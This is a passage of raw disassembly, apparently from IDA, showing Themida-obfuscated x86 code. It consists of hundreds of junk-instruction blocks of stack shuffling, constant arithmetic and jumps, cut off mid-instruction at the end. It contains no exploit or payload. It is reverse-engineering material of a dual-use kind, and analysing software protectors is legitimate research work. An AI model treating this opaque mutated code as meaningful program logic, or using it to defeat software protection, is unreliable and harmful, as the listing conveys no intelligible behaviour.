esp add esi, 4 sub esi, 2 jmp loc_55ED22 ; --------------------------------------------------------------------------- loc_569F36: ; CODE XREF: sub_562ABA+179j push 7314h mov [esp+0], eax mov eax, 503D7A0Ah sub ecx, eax pop eax jmp loc_5637E2 ; --------------------------------------------------------------------------- loc_569F4B: ; CODE XREF: sub_562ABA+3B6Aj pop ebx push eax mov eax, 4240690Bh jmp loc_561BCD ; --------------------------------------------------------------------------- loc_569F57: ; CODE XREF: sub_562ABA+99D8j push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp+1Ah+var_1A] pop esp mov [esp+16h+var_16], ebp push [esp+16h+var_12] jmp loc_55FFA0 ; --------------------------------------------------------------------------- loc_569F73: ; CODE XREF: sub_562ABA-6D2j pop ecx push edi jmp loc_56C9C0 ; --------------------------------------------------------------------------- loc_569F7A: ; CODE XREF: sub_562ABA-36A7j mov ebp, 72437393h xor ebp, 72437397h jmp loc_56F1E7 ; --------------------------------------------------------------------------- loc_569F8A: ; CODE XREF: sub_562ABA+E592j sub ah, 2Ch xor bl, ah pop eax jmp loc_56C5DB ; --------------------------------------------------------------------------- loc_569F95: ; CODE XREF: sub_562ABA+E6ABj add edi, 4 sub edi, 4 xchg edi, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], esi push 462Ch mov [esp+22h+var_22], ebx mov esi, [esp+22h+var_22] add esp, 4 mov eax, esi mov esi, [esp+1Eh+var_1E] push 0F6Eh mov [esp+22h+var_22], esi mov esi, esp add esi, 4 push ebp jmp loc_562AC2 ; --------------------------------------------------------------------------- loc_569FCE: ; CODE XREF: sub_562ABA+3C01j mov [esp-6+arg_0+2], eax jmp loc_56F6D6 ; --------------------------------------------------------------------------- loc_569FD6: ; CODE XREF: sub_562ABA+C027j add esp, 4 sub edx, edi sub edx, 5B2F0581h pop edi jmp loc_568B1E ; --------------------------------------------------------------------------- loc_569FEA: ; CODE XREF: sub_55FCA5+3B6j pop esp sub esp, 4 mov [esp-0Eh+arg_8+2], ecx push 5C4Bh push 685Dh mov [esp-6+arg_0+2], esp add [esp-6+arg_0+2], 4 pop [esp-6+arg_0+2] push ebp mov ebp, 4 add [esp-6+arg_4+2], ebp pop ebp push [esp-0Ah+arg_4+2] jmp loc_55FF71 ; --------------------------------------------------------------------------- loc_56A01E: ; CODE XREF: sub_562ABA+D79Ej mov al, cl pop ecx jmp loc_56D250 ; --------------------------------------------------------------------------- loc_56A026: ; CODE XREF: sub_562ABA+736Fj xor ecx, ebp pop ebp shl ecx, 5 push eax mov eax, 24F1178Bh add ecx, eax push dword ptr [esp+0] mov eax, [esp+12h+var_12] add esp, 4 jmp loc_569800 ; --------------------------------------------------------------------------- loc_56A042: ; CODE XREF: sub_562ABA+FE21j push 38AE0AA8h pop eax jmp loc_55F22C ; --------------------------------------------------------------------------- loc_56A04D: ; CODE XREF: sub_562ABA+7EEFj push ecx mov ecx, edx mov eax, ecx pop ecx jmp loc_5673FE ; --------------------------------------------------------------------------- loc_56A058: ; CODE XREF: sub_562ABA+2878j xor ecx, edx mov edx, [esp+22h+var_22] add esp, 4 push 4C8Fh mov [esp+22h+var_22], eax push ebx push 6F8C250Ah jmp loc_56522B ; --------------------------------------------------------------------------- loc_56A073: ; CODE XREF: sub_562ABA+918Fj sub ecx, 0FC780D4Dh sub ebx, ecx pop ecx xchg ebx, [esp+26h+var_28+2] jmp loc_56BE44 ; --------------------------------------------------------------------------- loc_56A084: ; CODE XREF: sub_562ABA+EA2Aj pop ecx add esp, 4 and eax, edi push [esp+1Eh+var_1E] jmp loc_560132 ; --------------------------------------------------------------------------- loc_56A095: ; CODE XREF: sub_562ABA+B90Cj mov eax, 5A861F2Dh or esi, eax jmp loc_55F677 ; --------------------------------------------------------------------------- loc_56A0A1: ; CODE XREF: sub_562ABA-19DDj pop ecx xor esi, [esp+26h+var_28+2] xor [esp+26h+var_28+2], esi xor esi, [esp+26h+var_28+2] pop esp push 5A19h jmp loc_56943A ; --------------------------------------------------------------------------- loc_56A0B6: ; CODE XREF: Themida_:00562056j push 5C30h mov [esp+2Ah+var_2C+2], eax sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 mov eax, [esp+0] add esp, 4 push esi mov esi, 58281796h sub esp, 4 mov [esp+32h+var_32], ebx mov ebx, 58281792h xor esi, ebx pop ebx sub eax, 6D3809E2h sub eax, 211E69A7h add eax, esi add eax, 211E69A7h push 1F34h mov [esp+32h+var_32], esi push eax push edi jmp loc_564B64 ; --------------------------------------------------------------------------- loc_56A108: ; CODE XREF: sub_562ABA+94EBj shr ebp, 6 xor ebp, 994731h push ecx mov ecx, ebp sub esp, 4 mov [esp+42h+var_42], ecx push edx mov edx, 576C5C41h sub [esp+46h+var_42], edx jmp loc_56E58F ; --------------------------------------------------------------------------- loc_56A129: ; CODE XREF: sub_562ABA+85Aj pop eax jmp loc_569DD4 ; --------------------------------------------------------------------------- loc_56A12F: ; CODE XREF: sub_562ABA+16DCj push dword ptr [esp+0] pop ebp jmp loc_570C7E ; --------------------------------------------------------------------------- loc_56A138: ; CODE XREF: sub_562ABA+8501j or bl, 22h add bl, 27h add bl, 7Ch shr bl, 4 neg bl push eax mov al, 48h or al, 0F1h sub al, 10h sub bl, al pop eax xor cl, bl jmp loc_566753 ; --------------------------------------------------------------------------- loc_56A157: ; CODE XREF: sub_562ABA+C08Cj pop ebx add esp, 4 push edi jmp loc_565FCF ; --------------------------------------------------------------------------- loc_56A164: ; CODE XREF: sub_562ABA+4D54j mov ecx, 737E3BF1h mov edx, ecx pop ecx and ebx, edx pop edx sub ebx, 603629A0h push 7A5h mov [esp+26h+var_28+2], edi mov edi, ebx jmp loc_5657F5 ; --------------------------------------------------------------------------- loc_56A184: ; CODE XREF: sub_562ABA+1116j mov ebp, 63E10D84h sub edx, 7B65306Fh jmp loc_56803C ; --------------------------------------------------------------------------- loc_56A194: ; CODE XREF: sub_562ABA-F62j push ecx mov ecx, 57162A5Fh sub ecx, 26D8CE88h sub edi, ecx jmp loc_570AB7 ; --------------------------------------------------------------------------- loc_56A1A7: ; CODE XREF: sub_562ABA+788Ej sub al, 17h sub al, ch add al, 17h push edx mov dl, 3Ah push bx mov bh, 8Bh sub dl, bh pop bx dec dl sub esp, 4 mov [esp+1Ch+var_1E+2], ebx mov bh, 68h add dl, bh mov ebx, [esp+1Ch+var_1E+2] add esp, 4 sub al, 23h jmp loc_570D0D ; --------------------------------------------------------------------------- loc_56A1D4: ; CODE XREF: sub_562ABA+4381j mov ebp, esp push edx mov edx, 52C17D85h push 2979h mov [esp+60h+var_62+2], eax jmp loc_56DB5E ; --------------------------------------------------------------------------- loc_56A1E9: ; CODE XREF: sub_562ABA+3467j add edx, 693E2ABAh jmp loc_571761 ; --------------------------------------------------------------------------- loc_56A1F4: ; CODE XREF: sub_562ABA+D305j add ebx, 21FABB49h sub esi, ebx pop ebx push dword ptr [esp+0] mov edi, [esp+28h+var_28] jmp loc_56E5F4 ; --------------------------------------------------------------------------- loc_56A208: ; CODE XREF: sub_562ABA+A13Bj push ecx mov ecx, 477C698Bh jmp loc_5674A4 ; --------------------------------------------------------------------------- loc_56A213: ; CODE XREF: sub_562ABA+E28Dj shl dl, 6 jmp loc_56D74F ; --------------------------------------------------------------------------- loc_56A21B: ; CODE XREF: sub_562ABA+A024j pop ecx mov ch, dl mov edx, [esp+28h+var_28] add esp, 4 jmp loc_5716C1 ; --------------------------------------------------------------------------- loc_56A22C: ; CODE XREF: sub_562ABA+94BCj add esi, edx jmp loc_571BBF ; --------------------------------------------------------------------------- loc_56A233: ; CODE XREF: sub_562ABA-35E3j mov esi, 4 add eax, esi pop esi push ebx jmp loc_5662CE ; --------------------------------------------------------------------------- loc_56A241: ; CODE XREF: sub_55FCA5+36Bj mov word ptr [esp+1Eh+var_1E], cx movzx cx, al push cx pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A251: ; CODE XREF: sub_562ABA+C931j pop dword ptr [esp+0] jmp loc_572408 ; --------------------------------------------------------------------------- loc_56A259: ; CODE XREF: sub_562ABA+9295j mov esp, [esp+20h+var_22+2] push esp jmp loc_561038 ; --------------------------------------------------------------------------- loc_56A262: ; CODE XREF: sub_572591+37j push ebp mov ebp, 3AAA14E4h jmp loc_56C9F2 ; --------------------------------------------------------------------------- loc_56A26D: ; CODE XREF: sub_562ABA-1A4Bj pop [esp+0Ah+var_C+2] jmp loc_5690DA ; --------------------------------------------------------------------------- loc_56A275: ; CODE XREF: sub_562ABA+640Cj mov [esp+3Eh+var_3E], eax jmp loc_55F9F7 ; --------------------------------------------------------------------------- loc_56A27D: ; CODE XREF: sub_562ABA+9D0Ej mov ebx, 7AF124BFh add eax, ebx pop ebx pop edx push 1312h jmp loc_56445D ; --------------------------------------------------------------------------- loc_56A290: ; CODE XREF: sub_562ABA+1306j push ebp jmp loc_56879D ; --------------------------------------------------------------------------- loc_56A296: ; CODE XREF: sub_562ABA+322Ej add ecx, 537B3122h add ecx, 9DEFC501h sub edi, 2B27199h jmp loc_570067 ; --------------------------------------------------------------------------- loc_56A2AD: ; CODE XREF: sub_562ABA+D890j pop edi add esi, 4 xchg esi, [esp+22h+var_22] pop esp jmp loc_56F852 ; --------------------------------------------------------------------------- loc_56A2BD: ; CODE XREF: sub_562ABA+40B2j mov [esp+3Ah+var_3A], edi mov edi, esp add edi, 4 jmp loc_5671C0 ; --------------------------------------------------------------------------- loc_56A2CD: ; CODE XREF: sub_562ABA+45F5j mov edx, eax mov eax, [esp+3Eh+var_3E] add esp, 4 push edi mov edi, 9662BA8h and edi, 755E61DEh not edi not edi xchg ebp, edi not ebp push edi jmp loc_56DB47 ; --------------------------------------------------------------------------- loc_56A2EF: ; CODE XREF: sub_562ABA+20CBj mov eax, [esp+0] jmp loc_56A3B4 ; --------------------------------------------------------------------------- loc_56A2F7: ; CODE XREF: sub_562ABA+9010j mov esi, [esp+0] add esp, 4 sub esp, 4 jmp loc_55E2AE ; --------------------------------------------------------------------------- loc_56A308: ; CODE XREF: sub_562ABA-DC3j pop ebx push edi mov edi, esp jmp loc_56495F ; --------------------------------------------------------------------------- loc_56A311: ; CODE XREF: sub_55E4D4+EF5j push esi mov esi, 4 sub eax, 7CB2296Ch add eax, esi jmp loc_56371F ; --------------------------------------------------------------------------- loc_56A323: ; DATA XREF: Themida_:0055DDE8o push 6DFEh mov [esp+1Eh+var_1E], edx push 6A54h mov [esp+22h+var_22], edi mov edi, 7B2A0FE3h push ebx mov ebx, 84D5F41Dh jmp loc_56A509 ; --------------------------------------------------------------------------- loc_56A343: ; CODE XREF: sub_562ABA+7C49j add esp, 4 add al, 16h jmp loc_56A1A7 ; --------------------------------------------------------------------------- loc_56A34D: ; CODE XREF: sub_562ABA-40ACj xor eax, [esp+16h+var_16] xor [esp+16h+var_16], eax xor eax, [esp+16h+var_16] mov esp, [esp+16h+var_16] mov [esp+16h+var_16], ebx push ebp push 2766h mov [esp+1Eh+var_1E], edi mov edi, 4E306108h or edi, 5BA10280h xor edi, 782C53DAh mov ebp, edi mov edi, [esp+1Eh+var_1E] add esp, 4 jmp loc_563A8C ; --------------------------------------------------------------------------- loc_56A383: ; CODE XREF: sub_55FCA5+21Dj push ebp mov ebp, 5B0574A1h add eax, ebp pop ebp add eax, 52E1007Dh sub eax, ebx push ebp mov ebp, 52E1007Dh sub eax, ebp mov ebp, [esp+1Eh+var_1E] push edi jmp loc_5605D8 ; --------------------------------------------------------------------------- loc_56A3A4: ; CODE XREF: sub_562ABA+A6BEj mov ebx, 547360C3h or ebx, 3625502Fh jmp loc_563878 ; --------------------------------------------------------------------------- loc_56A3B4: ; CODE XREF: sub_562ABA+7838j add esp, 4 jmp loc_56FE5B ; --------------------------------------------------------------------------- loc_56A3BC: ; CODE XREF: Themida_:0055E671j push edx mov edx, 13D42A96h add edx, 5E817E17h and edx, 399119AEh sub edx, 0FA1ADFCAh jmp loc_56C3D6 ; --------------------------------------------------------------------------- loc_56A3D9: ; CODE XREF: sub_562ABA-42DBj pop esi jmp loc_57181C ; --------------------------------------------------------------------------- loc_56A3DF: ; CODE XREF: sub_562ABA+1D4Ej shl edi, 7 xor edi, 22BB276Ch jmp loc_5674C7 ; --------------------------------------------------------------------------- loc_56A3ED: ; CODE XREF: sub_562ABA-4408j sub ecx, 33C477EAh jmp loc_571A49 ; --------------------------------------------------------------------------- loc_56A3F8: ; CODE XREF: sub_562ABA+6894j sub ecx, 4 xchg ecx, [esp+0] pop esp jmp sub_56017F ; --------------------------------------------------------------------------- loc_56A404: ; CODE XREF: sub_562ABA+6A8Fj push eax mov eax, 5B5F5F2Dh jmp sub_560757 ; --------------------------------------------------------------------------- loc_56A40F: ; CODE XREF: sub_55E85D+1Cj xchg esi, [esp+12h+var_12] pop esp or eax, eax jnz loc_56CD3D push 7C8Fh mov [esp+12h+var_12], esi push eax jmp loc_562C26 ; --------------------------------------------------------------------------- loc_56A429: ; CODE XREF: sub_562ABA+25A1j push 69Ah mov [esp+26h+var_28+2], eax jmp loc_567235 ; --------------------------------------------------------------------------- loc_56A436: ; CODE XREF: sub_562ABA+CD52j push ebx mov ebx, 1704731Bh xchg edi, ebx jmp loc_5627F4 ; --------------------------------------------------------------------------- loc_56A443: ; CODE XREF: sub_562ABA+A1A9j xchg ebx, edx push ebx jmp loc_566A42 ; --------------------------------------------------------------------------- loc_56A44B: ; CODE XREF: sub_562ABA+EE82j and ebp, 0C5B1FFFh shr ebp, 5 neg ebp add ebp, 988B9BF4h sub eax, ebp pop ebp add ebx, eax mov eax, [esp+2Ah+var_2C+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp push eax mov eax, 74956054h dec eax jmp loc_563F00 ; --------------------------------------------------------------------------- loc_56A480: ; CODE XREF: sub_56017F+1291Dj mov esi, [esp+0] push edi jmp loc_56850C ; --------------------------------------------------------------------------- loc_56A489: ; CODE XREF: sub_562ABA+D6D2j mov [esp+32h+var_32], edi mov edi, 4 add eax, edi pop edi push eax push dword ptr [esp+4] jmp loc_56C189 ; --------------------------------------------------------------------------- loc_56A49E: ; CODE XREF: sub_562ABA+277Fj pop edi add ebx, 585F217h push ebx pop eax pop ebx xor ecx, eax mov eax, [esp+0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+32h+var_32] pop esp xor eax, ecx push dword ptr [esp+0] pop ecx push ebx mov ebx, esp jmp loc_571ABD ; --------------------------------------------------------------------------- loc_56A4CE: ; CODE XREF: Themida_:0055F08Cj push esi mov esi, esp jmp loc_56B4E9 ; --------------------------------------------------------------------------- loc_56A4D6: ; CODE XREF: sub_562ABA-17A3j mov ah, 31h add ah, dl pop edx add bl, 3Fh sub bl, ah sub bl, 3Fh jmp loc_56F125 ; --------------------------------------------------------------------------- loc_56A4E8: ; CODE XREF: sub_562ABA+5B58j mov ebx, esp push ebp push esi push 17117ADAh pop esi dec esi or esi, 694F296Dh jmp loc_55FA25 ; --------------------------------------------------------------------------- loc_56A4FE: ; CODE XREF: sub_562ABA-1B1Bj add ebp, eax pop eax or edx, ebp pop ebp jmp loc_55F4DC ; --------------------------------------------------------------------------- loc_56A509: ; CODE XREF: sub_562ABA+7884j mov edx, ebx jmp loc_56E7C5 ; --------------------------------------------------------------------------- loc_56A510: ; CODE XREF: sub_562ABA+9C2Ej push [esp+26h+var_22] jmp loc_55E991 ; --------------------------------------------------------------------------- loc_56A519: ; CODE XREF: sub_562ABA+CF1Aj shr esi, 5 jmp loc_568727 ; --------------------------------------------------------------------------- loc_56A521: ; CODE XREF: sub_562ABA+7F73j pop edi add ebx, eax jmp loc_570E8D ; --------------------------------------------------------------------------- loc_56A529: ; CODE XREF: sub_562ABA+8ED9j push edx mov edx, 22153CE7h jmp loc_561501 ; --------------------------------------------------------------------------- loc_56A534: ; CODE XREF: sub_562ABA+3B0Aj add ebx, 33385907h sub ebx, ebp sub ebx, 33385907h jmp loc_5652AB ; --------------------------------------------------------------------------- loc_56A547: ; CODE XREF: sub_562ABA+FA2j neg ecx jmp loc_562B3C ; --------------------------------------------------------------------------- loc_56A54E: ; CODE XREF: sub_562ABA+6524j inc esi and esi, 37CE515Ch jmp loc_55E7D7 ; --------------------------------------------------------------------------- loc_56A55A: ; CODE XREF: sub_562ABA+D6BDj xchg eax, [esp+16h+var_16] pop esp push ecx mov ecx, 334576C8h xchg ebp, ecx push ebp not [esp+1Ah+var_1A] jmp loc_56E05F ; --------------------------------------------------------------------------- loc_56A56F: ; CODE XREF: sub_562ABA+72AEj push 7C9F72A4h mov ebx, [esp+16h+var_16] add esp, 4 dec ebx push edx mov edx, 34B51EC3h sub ebx, edx pop edx push 4576h mov [esp+16h+var_16], ebp mov ebp, 42E30C6Eh and ebx, ebp jmp loc_561D2E ; --------------------------------------------------------------------------- loc_56A598: ; CODE XREF: sub_562ABA+47FAj or eax, 58372C7Fh add eax, 9F94CB44h xor ebp, eax pop eax sub ecx, 6AA05C46h jmp loc_56AEB0 ; --------------------------------------------------------------------------- loc_56A5B0: ; CODE XREF: sub_562ABA+C42Fj add esp, 4 shr ebx, 1 push edi mov edi, 4D3E2A59h sub edi, 45CC85F9h sub ebx, edi pop edi mov edx, ebx pop ebx add ebp, edx mov edx, [esp+0] add esp, 4 xchg ebp, [esp+2Ah+var_2C+2] pop esp sub esp, 4 mov [esp+2Ah+var_2C+2], ecx jmp loc_5654A8 ; --------------------------------------------------------------------------- loc_56A5E7: ; CODE XREF: sub_562ABA+D225j push ebx mov ebx, 371570BAh xor edx, ebx pop ebx xor edx, ebx xor ebx, edx jmp loc_56CC60 ; --------------------------------------------------------------------------- loc_56A5F9: ; CODE XREF: sub_562ABA+1937j shr ch, 1 sub ch, 0FFh sub ch, 50h jmp loc_565A93 ; --------------------------------------------------------------------------- loc_56A606: ; CODE XREF: sub_562ABA+98B3j mov esp, [esp+1Eh+var_1E] mov [esp+1Eh+var_1E], edx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A611: ; CODE XREF: sub_562ABA-13A7j pop ebp add esp, 4 push edi mov edi, 0F092A4Ah add ecx, edi mov edi, [esp+26h+var_28+2] add esp, 4 add ecx, eax sub ecx, 0F092A4Ah push edi mov edi, 637E7FC5h sub ecx, edi pop edi mov eax, [esp+22h+var_22] add esp, 4 push 2565h mov [esp+22h+var_22], edi jmp loc_561822 ; --------------------------------------------------------------------------- loc_56A64A: ; CODE XREF: sub_562ABA+B597j add ebp, ecx jmp loc_56AA7D ; --------------------------------------------------------------------------- loc_56A651: ; CODE XREF: sub_562ABA+A484j push esp jmp loc_569607 ; --------------------------------------------------------------------------- loc_56A657: ; DATA XREF: Themida_:0055DFC0o push dword ptr [edx] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A65E: ; CODE XREF: sub_562ABA-13C8j mov edi, [esp+26h+var_28+2] add esp, 4 push ebx push esi mov esi, 27343C07h mov ebx, esi pop esi jmp loc_567B1A ; --------------------------------------------------------------------------- loc_56A673: ; CODE XREF: sub_562ABA-2E6Dj push esp push [esp+12h+var_12] pop edi push esi sub esp, 4 mov [esp+1Ah+var_1A], esp jmp loc_568BD5 ; --------------------------------------------------------------------------- loc_56A684: ; CODE XREF: sub_562ABA-3C8Cj mov [esp+22h+var_22], esi jmp loc_56B9E3 ; --------------------------------------------------------------------------- loc_56A68C: ; CODE XREF: sub_562ABA+1881j mov esi, ebx push 46E6h mov [esp+48h+var_4A+2], esi pop edx mov esi, [esp+44h+var_46+2] add esp, 4 jmp loc_568672 ; --------------------------------------------------------------------------- loc_56A6A2: ; CODE XREF: sub_562ABA-2750j add edx, 2 xor edx, [esp-6+arg_0+2] xor [esp-6+arg_0+2], edx xor edx, [esp-6+arg_0+2] jmp loc_569BAE ; --------------------------------------------------------------------------- loc_56A6B6: ; CODE XREF: sub_562ABA-266Dj mov edi, edx jmp loc_5709D7 ; --------------------------------------------------------------------------- loc_56A6BD: ; CODE XREF: sub_562ABA+D335j push edx push eax mov ah, ch mov dl, ah pop eax mov bl, dl jmp loc_55E2D2 ; --------------------------------------------------------------------------- loc_56A6CB: ; CODE XREF: sub_562ABA+86CBj pop esp sub bl, 82h add bl, dl jmp loc_567DC4 ; --------------------------------------------------------------------------- loc_56A6D6: ; CODE XREF: sub_562ABA+4007j neg edi not edi add edi, 5579743Ch xor edi, 311EB60Bh sub esi, edi jmp loc_55F1F5 ; --------------------------------------------------------------------------- loc_56A6ED: ; CODE XREF: sub_562ABA+C338j add ebx, edi mov edi, [esp+3Ch+var_3E+2] add esp, 4 push small word ptr [eax] jmp loc_56A97D ; --------------------------------------------------------------------------- loc_56A700: ; CODE XREF: sub_562ABA+7306j mov ebx, [esp+22h+var_22] jmp loc_56A343 ; --------------------------------------------------------------------------- loc_56A708: ; CODE XREF: sub_562ABA+605Fj push esi push [esp-2+arg_0+2] pop esi pop dword ptr [esp+0] pop esp jmp loc_56E011 ; --------------------------------------------------------------------------- loc_56A717: ; CODE XREF: sub_562ABA+48CCj add esp, 4 push ax mov al, 0FDh push cx mov ch, 14h push cx mov ch, 3 sub bl, ch pop cx sub bl, ch jmp loc_567025 ; --------------------------------------------------------------------------- loc_56A731: ; CODE XREF: sub_562ABA+B956j xor eax, 43C35E4Dh mov edx, eax pop eax inc edx add edx, 0FFFFFFFFh not edx jmp loc_568B02 ; --------------------------------------------------------------------------- loc_56A747: ; CODE XREF: sub_562ABA-47DEj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] jmp loc_56CBA6 ; --------------------------------------------------------------------------- loc_56A75A: ; CODE XREF: sub_562ABA+B462j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A75F: ; CODE XREF: sub_55FCA5+1C2j mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp+0] pop esp mov edx, [esp-6+arg_0+2] sub esp, 4 mov [esp+0], eax mov eax, esp push ebp jmp loc_5699F2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+0], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A792: ; CODE XREF: sub_562ABA+BC60j add edx, 89774250h push edx jmp loc_562A31 ; --------------------------------------------------------------------------- loc_56A79E: ; CODE XREF: sub_562ABA+B280j inc cl xchg ah, cl xchg dl, ah not dl xchg dl, ah xchg ah, cl xor cl, 0FAh not cl sub cl, 69h add al, cl pop ecx sub al, bh sub al, 2 add al, 0B5h jmp loc_56A948 ; --------------------------------------------------------------------------- loc_56A7C0: ; CODE XREF: sub_562ABA+EEE3j mov [esp+4+var_4], eax push dword ptr [esp+4] jmp loc_565F75 ; --------------------------------------------------------------------------- loc_56A7CC: ; CODE XREF: sub_562ABA-249Ej add ebx, edx pop edx add ebx, edi sub ebx, 52804082h sub ebx, 370032D6h add ebx, 22C86319h sub ebx, 67E05C46h pop edi jmp loc_56D4BD ; --------------------------------------------------------------------------- loc_56A7EF: ; CODE XREF: sub_562ABA+8D05j xchg eax, [esp+16h+var_16] mov esp, [esp+16h+var_16] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A7FA: ; CODE XREF: sub_562ABA+F797j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+1Ah+var_1A] pop esp xchg eax, ebp not eax xchg eax, ebp add ebp, 0CC03864Dh add eax, 116127C0h add eax, ebp sub eax, 116127C0h jmp loc_57010C ; --------------------------------------------------------------------------- loc_56A825: ; CODE XREF: sub_562ABA-30j ; sub_562ABA+4043j push ebx push eax add [esp+2Ah+var_2C+2], 7B276505h pop ebx sub ebx, 7B276505h push 236Dh mov [esp+2Ah+var_2C+2], ebp sub esp, 4 mov [esp+0], ebx jmp loc_55EF5F ; --------------------------------------------------------------------------- loc_56A848: ; CODE XREF: sub_562ABA+F911j mov edi, 5B3E15B9h jmp loc_55EF9B ; --------------------------------------------------------------------------- loc_56A852: ; CODE XREF: sub_562ABA+9830j add edi, 4 add edi, 4 push edi jmp loc_5674B6 ; --------------------------------------------------------------------------- loc_56A861: ; CODE XREF: sub_562ABA+B781j sub al, dl add al, 0DDh sub al, 97h mov edx, [esp+32h+var_32] add esp, 4 jmp loc_5696BA ; --------------------------------------------------------------------------- loc_56A875: ; CODE XREF: sub_562ABA+5820j pop eax push ebx mov ebx, esp add ebx, 4 jmp loc_55E1B9 ; --------------------------------------------------------------------------- loc_56A884: ; CODE XREF: sub_562ABA+9CA0j push dx push esi mov si, 5E6Bh or si, 5581h sub si, 99Ah push ebp push esi mov si, 4F58h sub si, 71EAh add si, 22B9h and si, 478Fh shl si, 6 jmp loc_5601FC ; --------------------------------------------------------------------------- loc_56A8B3: ; CODE XREF: sub_572C02+38j sub edi, 0B3935E0h add edi, 0F6324245h add esi, edi jmp loc_560425 ; --------------------------------------------------------------------------- loc_56A8C6: ; CODE XREF: sub_562ABA+E4E7j pop edx jmp loc_5695C7 ; --------------------------------------------------------------------------- loc_56A8CC: ; CODE XREF: sub_562ABA+D0Dj add esp, 4 jmp loc_566297 ; --------------------------------------------------------------------------- loc_56A8D7: ; CODE XREF: sub_562ABA-441Bj add ecx, 0CB097A9Dh and eax, ecx pop ecx shr eax, 0Ah xor eax, ecx sub esp, 4 mov [esp+1Ah+var_1A], edx push esp jmp loc_569306 ; --------------------------------------------------------------------------- loc_56A8F1: ; CODE XREF: sub_562ABA+EE94j pop esi xchg edx, [esp+1Ah+var_1A] jmp loc_56DDBA ; --------------------------------------------------------------------------- loc_56A8FA: ; CODE XREF: sub_562ABA+904j mov edi, esp push eax mov eax, 4 jmp loc_57094A ; --------------------------------------------------------------------------- loc_56A907: ; CODE XREF: sub_562ABA+93A2j add esi, edx pop edx and esi, 42266118h not esi push eax mov eax, 47680318h jmp loc_56AD24 ; --------------------------------------------------------------------------- loc_56A91D: ; CODE XREF: sub_562ABA-21BAj push 6D4Fh mov [esp+36h+var_36], edx push esp pop edx add edx, 4 push 7FA2h mov [esp+3Ah+var_3A], ebp mov ebp, 4 jmp loc_55EDEA ; --------------------------------------------------------------------------- loc_56A93F: ; CODE XREF: sub_562ABA+10078j not ecx not ecx jmp loc_561ABB ; --------------------------------------------------------------------------- loc_56A948: ; CODE XREF: sub_562ABA+7D01j push ecx mov cl, 94h add al, cl mov ecx, [esp+8+var_8] jmp loc_571125 ; --------------------------------------------------------------------------- loc_56A955: ; CODE XREF: sub_562ABA+5132j and ebx, 24CE3718h jmp loc_56CE25 ; --------------------------------------------------------------------------- loc_56A960: ; CODE XREF: sub_562ABA+3322j add esp, 4 sub bl, al jmp loc_56FD7A ; --------------------------------------------------------------------------- loc_56A96D: ; CODE XREF: sub_562ABA+C962j mov esp, [esp+0] jmp loc_55F062 ; --------------------------------------------------------------------------- loc_56A975: ; CODE XREF: sub_562ABA+8931j mov [esp+0], ebp jmp loc_569250 ; --------------------------------------------------------------------------- loc_56A97D: ; CODE XREF: sub_562ABA+7C41j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A982: ; CODE XREF: sub_562ABA+419Fj add eax, 50D96411h neg eax not eax inc eax neg eax add eax, 0D7F98103h mov ebx, eax jmp loc_567805 ; --------------------------------------------------------------------------- loc_56A99A: ; CODE XREF: sub_562ABA+4ABBj pop ebp push eax jmp loc_560253 ; --------------------------------------------------------------------------- loc_56A9A1: ; CODE XREF: sub_562ABA+2B57j pop esp pop edx sub edx, 30835413h jmp loc_56A04D ; --------------------------------------------------------------------------- loc_56A9AE: ; CODE XREF: sub_55F9E0+4j mov bx, 7399h xor word ptr [esp+6+var_4], bx pop bx pop di xor di, 7399h pop ebx add word ptr [esp-2+arg_0], di mov di, [esp+0] add esp, 2 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56A9D2: ; CODE XREF: sub_562ABA+E24Ej pop ebx add esp, 4 jmp loc_562D35 ; --------------------------------------------------------------------------- loc_56A9DE: ; CODE XREF: sub_562ABA+11A6j dec esi sub esp, 4 mov [esp+36h+var_36], ebp mov ebp, 5167697Eh or ebp, 524607E2h jmp loc_565349 ; --------------------------------------------------------------------------- loc_56A9F8: ; CODE XREF: sub_562ABA+1039j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+4Ch+var_4E+2] pop esp and eax, ebp pop ebp shr eax, 8 xor eax, ecx push 3BE4h mov [esp+48h+var_4A+2], eax xor [esp+48h+var_4A+2], eax xor eax, [esp+48h+var_4A+2] jmp loc_5714B2 ; --------------------------------------------------------------------------- loc_56AA25: ; CODE XREF: sub_562ABA-48B7j sub edi, 2F1A4670h add eax, edi jmp loc_56A521 ; --------------------------------------------------------------------------- loc_56AA32: ; CODE XREF: sub_562ABA+7015j pop edx mov ebp, esi pop esi add ebp, edx jmp loc_56DB18 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Ah+var_1A] push 7BEBh mov [esp+1Eh+var_1E], ecx push esp pop ecx push eax push ebx jmp loc_56764A ; --------------------------------------------------------------------------- loc_56AA52: ; CODE XREF: sub_562ABA+3916j add eax, 0C808FE93h mov edi, eax pop eax push edx mov edx, 0D415D1Dh or edi, edx jmp loc_56EBDF ; --------------------------------------------------------------------------- loc_56AA67: ; CODE XREF: sub_562ABA+A208j mov [esp+12h+var_12], ebp push dword ptr [esp+4] mov ebp, [esp+16h+var_16] jmp loc_56F3DB ; --------------------------------------------------------------------------- loc_56AA76: ; CODE XREF: sub_562ABA-163Fj neg ecx jmp loc_55E699 ; --------------------------------------------------------------------------- loc_56AA7D: ; CODE XREF: sub_562ABA+7B92j pop ecx xor ebp, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], ebp jmp loc_55E952 ; --------------------------------------------------------------------------- loc_56AA89: ; CODE XREF: sub_562ABA+2361j xor ebx, [esp+36h+var_36] mov esp, [esp+36h+var_36] rol word ptr [esp+36h+var_36], cl pushf jmp 